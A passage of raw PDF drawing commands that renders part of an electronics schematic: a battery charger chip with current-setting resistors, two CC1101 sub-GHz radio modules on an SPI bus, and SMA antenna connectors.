0.000 0.502 rg +1500.00 244.50 Td +(2K) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1500.00 254.50 Td +(R10) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1495.000 273.500 m +1495.000 263.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1495.000 233.500 m +1495.000 243.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1495.000 263.500 m +1499.000 262.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1499.000 262.500 m +1491.000 259.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1491.000 259.500 m +1499.000 257.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1499.000 257.500 m +1491.000 254.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1491.000 254.500 m +1499.000 252.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1499.000 252.500 m +1491.000 249.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1491.000 249.500 m +1499.000 247.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1499.000 247.500 m +1491.000 244.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1491.000 244.500 m +1495.000 243.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1340.00 228.50 Td +(1K) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1329.00 253.50 Td +(R11) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1360.000 248.500 m +1350.000 248.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1320.000 248.500 m +1330.000 248.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1350.000 248.500 m +1349.000 244.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1349.000 244.500 m +1346.000 252.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1346.000 252.500 m +1344.000 244.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1344.000 244.500 m +1341.000 252.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1341.000 252.500 m +1339.000 244.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1339.000 244.500 m +1336.000 252.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1336.000 252.500 m +1334.000 244.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1334.000 244.500 m +1331.000 252.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1331.000 252.500 m +1330.000 248.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1395.45 223.92 Td +(HP4054S5-42) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1390.00 303.50 Td +(U5) Tj +ET +2 J +0 j +100 M +0.50 w +0.50 0.00 0.00 RG +1.00 1.00 0.69 rg +[] 0 d +1390.00 303.50 65.00 -65.00 re +B +BT +/F3 9 Tf +9.00 TL +0.000 g +1398.00 284.00 Td +(VDD) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.000 g +1380.50 290.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1375.000 288.500 m +1390.000 288.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 g +1398.00 254.00 Td +(STAT) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.000 g +1380.50 260.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1375.000 258.500 m +1390.000 258.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 g +1423.69 284.00 Td +(VBAT) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.000 g +1460.00 290.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1470.000 288.500 m +1455.000 288.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 g +1423.15 269.00 Td +(PROG) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.000 g +1460.00 275.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1470.000 273.500 m +1455.000 273.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 g +1430.62 249.00 Td +(VSS) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.000 g +1460.00 255.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1470.000 253.500 m +1455.000 253.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1530.000 288.500 m +1530.000 318.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1495.000 218.500 m +1530.000 218.500 l +1530.000 238.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1495.000 233.500 m +1495.000 218.500 l +1475.000 218.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1470.000 253.500 m +1475.000 253.500 l +1475.000 218.500 l +1475.000 213.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1470.000 273.500 m +1495.000 273.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1470.000 288.500 m +1530.000 288.500 l +1530.000 268.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1375.000 288.500 m +1315.000 288.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1395.00 318.50 Td +(1.0K =1000mA) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1395.00 328.50 Td +(2K =500mA) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1395.00 338.50 Td +(5K =200mA) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1395.00 348.50 Td +(10K =100mA) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +0.00 1.00 -1.00 0.00 1528.20 298.50 Tm +(VBAT) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1530.000 299.500 m +1530.000 297.500 l +1529.000 298.500 m +1531.000 298.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1475.000 213.500 m +1475.000 203.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1485.000 203.500 m +1465.000 203.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1482.000 200.500 m +1468.000 200.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1479.000 197.500 m +1471.000 197.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1476.000 194.500 m +1474.000 194.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +1315.00 290.30 Td +(VBUS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1315.000 289.500 m +1315.000 287.500 l +1314.000 288.500 m +1316.000 288.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1170.00 249.50 Td +(10K) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1170.00 259.50 Td +(R12) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +1165.000 278.500 m +1165.000 268.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1165.000 238.500 m +1165.000 248.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1165.000 268.500 m +1169.000 267.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1169.000 267.500 m +1161.000 264.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1161.000 264.500 m +1169.000 262.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1169.000 262.500 m +1161.000 259.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1161.000 259.500 m +1169.000 257.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1169.000 257.500 m +1161.000 254.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1161.000 254.500 m +1169.000 252.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1169.000 252.500 m +1161.000 249.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1161.000 249.500 m +1165.000 248.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1165.000 303.500 m +1165.000 283.500 l +1165.000 278.500 l +1165.000 278.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1165.000 223.500 m +1165.000 238.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1303.84 946.50 Td +(CC1101-S) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1303.84 955.09 Td +(U2) Tj +ET +2 J +0 j +100 M +1.00 w +0.00 G +[] 0 d +1270.000 943.500 m +1350.000 943.500 l +1352.761 943.500 1355.000 941.261 1355.000 938.500 c +1355.000 858.500 l +1355.000 855.739 1352.239 853.500 1350.000 853.500 c +1270.000 853.500 l +1267.239 853.500 1265.000 856.261 1265.000 858.500 c +1265.000 938.500 l +1265.000 941.261 1267.761 943.500 1270.000 943.500 c +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 930.50 Td +(CSN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 934.50 Td +(8) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 933.500 m +1265.000 933.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 920.50 Td +(GPIO0) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 924.50 Td +(7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 923.500 m +1265.000 923.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 910.50 Td +(GPIO2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 914.50 Td +(6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 913.500 m +1265.000 913.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 900.50 Td +(SO) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 904.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 903.500 m +1265.000 903.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 890.50 Td +(SCLK) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 894.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 893.500 m +1265.000 893.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 880.50 Td +(SI) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 884.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 883.500 m +1265.000 883.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 870.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 874.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 873.500 m +1265.000 873.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 860.50 Td +(3.3V) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 864.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 863.500 m +1265.000 863.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1332.36 870.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1360.00 874.50 Td +(9) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1375.000 873.500 m +1355.000 873.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1334.58 890.50 Td +(ANT) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1360.00 894.50 Td +(10) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1375.000 893.500 m +1355.000 893.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1332.36 910.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1360.00 914.50 Td +(11) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1375.000 913.500 m +1355.000 913.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1303.84 751.50 Td +(CC1101-S) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1303.84 760.08 Td +(U3) Tj +ET +2 J +0 j +100 M +1.00 w +0.00 G +[] 0 d +1270.000 748.500 m +1350.000 748.500 l +1352.761 748.500 1355.000 746.261 1355.000 743.500 c +1355.000 663.500 l +1355.000 660.739 1352.239 658.500 1350.000 658.500 c +1270.000 658.500 l +1267.239 658.500 1265.000 661.261 1265.000 663.500 c +1265.000 743.500 l +1265.000 746.261 1267.761 748.500 1270.000 748.500 c +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 735.50 Td +(CSN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 739.50 Td +(8) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 738.500 m +1265.000 738.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 725.50 Td +(GPIO0) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 729.50 Td +(7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 728.500 m +1265.000 728.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 715.50 Td +(GPIO2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 719.50 Td +(6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 718.500 m +1265.000 718.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 705.50 Td +(SO) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 709.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 708.500 m +1265.000 708.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 695.50 Td +(SCLK) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 699.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 698.500 m +1265.000 698.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 685.50 Td +(SI) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 689.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 688.500 m +1265.000 688.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 675.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 679.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 678.500 m +1265.000 678.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1267.00 665.50 Td +(3.3V) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1254.29 669.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1245.000 668.500 m +1265.000 668.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1332.36 675.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1360.00 679.50 Td +(9) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1375.000 678.500 m +1355.000 678.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1334.58 695.50 Td +(ANT) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1360.00 699.50 Td +(10) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1375.000 698.500 m +1355.000 698.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1332.36 715.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1360.00 719.50 Td +(11) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1375.000 718.500 m +1355.000 718.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 933.500 m +1205.000 933.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 923.500 m +1205.000 923.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 913.500 m +1205.000 913.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 903.500 m +1205.000 903.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 893.500 m +1205.000 893.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 883.500 m +1205.000 883.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1175.000 818.500 m +1175.000 873.500 l +1245.000 873.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 863.500 m +1205.000 863.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1375.000 893.500 m +1405.000 893.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1454.66 870.35 Td +(SMA-KE-P901) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1497.00 890.17 Td +(RF1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1433.000 893.500 m +1425.000 893.500 l +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1437.00 893.50 m 1437.00 894.60 1436.10 895.50 1435.00 895.50 c +1433.90 895.50 1433.00 894.60 1433.00 893.50 c +1433.00 892.40 1433.90 891.50 1435.00 891.50 c +1436.10 891.50 1437.00 892.40 1437.00 893.50 c +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1414.29 894.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1405.000 893.500 m +1425.000 893.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1444.00 908.50 Tm +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1445.000 923.500 m +1445.000 903.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1424.00 908.50 Tm +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1425.000 923.500 m +1425.000 903.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1424.00 872.79 Tm +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1425.000 863.500 m +1425.000 883.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1444.00 872.79 Tm +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1445.000 863.500 m +1445.000 883.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1458.000 901.500 m +1448.000 901.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1458.000 885.500 m +1448.000 885.500 l +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1421.00 903.50 27.00 -20.00 re +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1458.00 903.50 37.00 -20.00 re +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1445.000 923.500 m +1425.000 923.500 l +1375.000 923.500 l +1375.000 913.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1375.000 873.500 m +1375.000 863.500 l +1445.000 863.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1445.000 853.500 m +1445.000 863.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1436.000 853.500 m +1454.000 853.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1439.000 851.500 m +1451.000 851.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1442.000 849.500 m +1448.000 849.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1444.000 847.500 m +1446.000 847.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1445.000 933.500 m +1445.000 923.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1454.000 933.500 m +1436.000 933.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1451.000 935.500 m +1439.000 935.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1448.000 937.500 m +1442.000 937.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1446.000 939.500 m +1444.000 939.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1444.66 675.35 Td +(SMA-KE-P901) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +1487.00 695.17 Td +(RF2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1423.000 698.500 m +1415.000 698.500 l +S +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1427.00 698.50 m 1427.00 699.60 1426.10 700.50 1425.00 700.50 c +1423.90 700.50 1423.00 699.60 1423.00 698.50 c +1423.00 697.40 1423.90 696.50 1425.00 696.50 c +1426.10 696.50 1427.00 697.40 1427.00 698.50 c +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1404.29 699.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1395.000 698.500 m +1415.000 698.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1434.00 713.50 Tm +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1435.000 728.500 m +1435.000 708.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1414.00 713.50 Tm +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1415.000 728.500 m +1415.000 708.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1414.00 677.79 Tm +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1415.000 668.500 m +1415.000 688.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 1434.00 677.79 Tm +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1435.000 668.500 m +1435.000 688.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1448.000 706.500 m +1438.000 706.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1448.000 690.500 m +1438.000 690.500 l +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1411.00 708.50 27.00 -20.00 re +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1448.00 708.50 37.00 -20.00 re +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1375.000 698.500 m +1395.000 698.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1375.000 718.500 m +1375.000 728.500 l +1435.000 728.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1375.000 678.500 m +1375.000 668.500 l +1435.000 668.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1435.000 658.500 m +1435.000 668.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1426.000 658.500 m +1444.000 658.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1429.000 656.500 m +1441.000 656.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1432.000 654.500 m +1438.000 654.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1434.000 652.500 m +1436.000 652.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1435.000 738.500 m +1435.000 728.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1444.000 738.500 m +1426.000 738.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1441.000 740.500 m +1429.000 740.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1438.000 742.500 m +1432.000 742.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1436.000 744.500 m +1434.000 744.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 668.500 m +1205.000 668.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1215.000 628.500 m +1215.000 623.500 l +1180.000 623.500 l +1180.000 678.500 l +1245.000 678.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 688.500 m +1205.000 688.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 698.500 m +1205.000 698.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 708.500 m +1205.000 708.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 718.500 m +1205.000 718.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 728.500 m +1205.000 728.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +1245.000 738.500 m +1205.000 738.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +590.57 825.98 Td +(MOSI) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +615.000 824.500 m +615.000 822.500 l +614.000 823.500 m +616.000 823.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 740.98 Td +(CS_B) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 739.500 m +1205.000 737.500 l +1204.000 738.500 m +1206.000 738.500 l 